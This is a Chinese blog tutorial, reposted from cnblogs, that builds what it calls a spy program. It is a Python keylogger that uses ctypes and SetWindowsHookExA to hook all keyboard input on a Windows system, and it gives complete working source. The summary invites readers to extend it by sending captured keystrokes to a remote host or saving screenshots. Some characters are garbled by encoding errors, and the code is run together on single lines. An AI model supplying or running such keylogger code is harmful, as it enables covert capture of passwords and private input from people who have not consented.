如何用 Python 監(jiān)聽軟件?
作者 |?寂夜云
來源 |?https://www.cnblogs.com/lonenysky/p/12341074.html
我們常聽說:如果要操作某個軟件或者監(jiān)聽某個軟件的話,可以使用鉤子(Hook)鉤住軟件,那這是如何操作的呢?用Python又如何實現(xiàn)呢?本教程我們將通過注冊Hook打造一款間諜程序,來監(jiān)聽win系統(tǒng)的筆記本,先給大家演示下效果吧!
一、Hook 技術(shù)程序的基本原理在于通過注冊Hook,記錄系統(tǒng)事件。那么什么是Hook呢?Hook 技術(shù)又叫做鉤子函數(shù),系統(tǒng)在調(diào)用函數(shù)之前,鉤子程序就先捕獲該消息,鉤子函數(shù)先得到控制權(quán),這時鉤子函數(shù)既可以加工處理(改變)該函數(shù)的執(zhí)行行為,還可以強制結(jié)束消息的傳遞
注冊Hook時我們需要使用到兩個DLL庫:user32.dll和kernel32.dll。這兩個DLL有什么用處呢:
- user32.dll:是Windows用戶界面相關(guān)應(yīng)用程序接口,用于包括Windows處理,基本用戶界面等特性,如創(chuàng)建窗口和發(fā)送消息
- kernel32.dll:控制著系統(tǒng)的內(nèi)存管理、數(shù)據(jù)的輸入輸出操作和中斷處理
二、實現(xiàn)
了解了鉤子的用處,那我們就來正式開始實現(xiàn)吧!1.注冊鉤子首先我們需要先注冊Hook到系統(tǒng)上,通過user32.dll中的SetWindowsHookExA函數(shù)我們可以在系統(tǒng)上注冊鉤子。
通過查看 微軟官方文檔(https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowshookexa) ,我們看到SetWindowsHookExA函數(shù)的參數(shù)及參數(shù)類型如上所示。我們簡單介紹一下關(guān)于這幾個參數(shù)的含義:
- idHook:鉤子的類型,可以監(jiān)聽消息、鍵盤、鼠標等等,這里我們來監(jiān)視低級鍵盤輸入事件作為案例演示!
- lpfn:鉤子函數(shù),這里就表示你監(jiān)聽到事件后要怎么處理,核心作用!
- hmod:DLL句柄(類似編號),我們可以使用kernel32中的GetModuleHandleW來獲取句柄
- dwThreadId:我們填入0代表與同一桌面上所有的線程關(guān)聯(lián)
上圖中的代碼我們可以看出使用的是C++語法,這時候Python中的?ctypes庫?就可以助我們一臂之力!
ctypes 是 Python 的外部函數(shù)庫。它提供了與 C 兼容的數(shù)據(jù)類型,并允許調(diào)用?DLL?或共享庫中的函數(shù)。可使用該模塊以純 Python 形式對這些庫進行封裝。
Python使用ctypes庫注冊鉤子代碼:
from ctypes import CDLLuser32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)
更多關(guān)于 ctypes庫 使用教程可查看Python官方文檔:https://docs.python.org/zh-cn/3.7/library/ctypes.html
2.編寫鉤子函數(shù)
上面我們說過?監(jiān)視低級鍵盤輸入事件(WH_KEYBOARD_LL)作為案例演示!而監(jiān)聽鍵盤事件(WH_KEYBOARD_LL)會使用LowLevelKeyboardProc回調(diào)函數(shù),同時我們也需要在Python定義它!

我們再次使用Python的?ctypes庫定義一個回調(diào)函數(shù)!
def hookProc(nCode, wParam, lParam):if nCode < 0:return user32.CallNextHookEx(hooked, nCode, wParam, lParam)else:# 此處插入我們的代碼passreturn user32.CallNextHookEx(hooked, nCode, wParam, lParam)
最后在我們退出程序時還需要刪除Hook,不然大量的Hook會使系統(tǒng)運行緩慢。雖然在Windows 7及更高版本上,該鉤子會被靜默刪除而不被調(diào)用。但是應(yīng)用程序無法知道掛鉤是否已刪除,我們還是主動進行刪除。刪除需要使用user32.dll的UnhookWindowsHookEx。
3.刪除Hook
完整的鉤子函數(shù):def uninstallHookProc(hooked):if hooked is None:returnuser32.UnhookWindowsHookEx(hooked)hooked = None
def hookProc(nCode, wParam, lParam):if nCode < 0:return user32.CallNextHookEx(hooked, nCode, wParam, lParam)else:if wParam == 256:if 162 == lParam.contents.value:print("Ctrl pressed, call Hook uninstall()")uninstallHookProc(hooked)sys.exit(-1)capsLock = user32.GetKeyState(20)if lParam.contents.value == 13:print("\n")elif capsLock:print(chr(lParam.contents.value), end="")else:print(chr(lParam.contents.value + 32), end="")return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
4.聲明原型
鉤子函數(shù)已經(jīng)寫好了,但是這是Python函數(shù),如何將它轉(zhuǎn)成c++函數(shù)呢?這樣windows才能讀取。
通過ctypes文檔我們可以得知Windows下使用WINFUNCTYPE來聲明函數(shù)原型!

將創(chuàng)建好的Python函數(shù)聲明為c++函數(shù):
最后我們將已經(jīng)已經(jīng)聲明好的函數(shù)原型handleProc,傳入最開始注冊的鉤子函數(shù)里:# 創(chuàng)建聲明,c_int表示函數(shù)入?yún)㈩愋?/span>HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))# 聲明函數(shù)原型handleProc = HOOKPROC(hookProc)
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)5.完整代碼上面的4步基本是主要的流程,一些更詳細的操作這里不再過多介紹,給出全部代碼,不到100行。
import sysfrom ctypes import *from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAMuser32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")class KBDLLHOOKSTRUCT(Structure): _fields_ = [ ('vkCode', DWORD), ('scanCode', DWORD), ('flags', DWORD), ('time', DWORD), ('dwExtraInfo', DWORD)]def uninstallHookProc(hooked): if hooked is None: return user32.UnhookWindowsHookEx(hooked) hooked = Nonedef hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else: if wParam == 256: if 162 == lParam.contents.value: print("Ctrl pressed, call Hook uninstall()") uninstallHookProc(hooked) sys.exit(-1) capsLock = user32.GetKeyState(20) if lParam.contents.value == 13: print("\n") elif capsLock: print(chr(lParam.contents.value), end="") else: print(chr(lParam.contents.value + 32), end="") return user32.CallNextHookEx(hooked, nCode, wParam, lParam)def startKeyLog(): msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0)def installHookProc(hooked, handleProc): hooked = user32.SetWindowsHookExA( 13, handleProc, kernel32.GetModuleHandleW(), 0 ) if not hooked: return False return TrueHOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))handleProc = HOOKPROC(hookProc)hooked = Noneif installHookProc(hooked, handleProc): print("Hook installed") try: msg = MSG() user32.GetMessageA(byref(msg), 0, 0, 0) except KeyboardInterrupt as kerror: uninstallHookProc(hooked) print("Hook uninstall...")else:????print("Hook?installed?error")Windows系統(tǒng)的同學(xué)可以試試效果哦~

三、總結(jié)本次教程給大家簡單的介紹了下:在Python中如何使用ctypes庫調(diào)用Windows API。當(dāng)然,上面我們監(jiān)聽到消息之后還可以遠程發(fā)送或者截屏保存等等操作都可以,期待大家的騷操作哦!ctypes文檔:https://docs.python.org/zh-cn/3.7/library/ctypes.html
win系統(tǒng)鉤子文檔:https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowshookexa
評論
圖片
表情
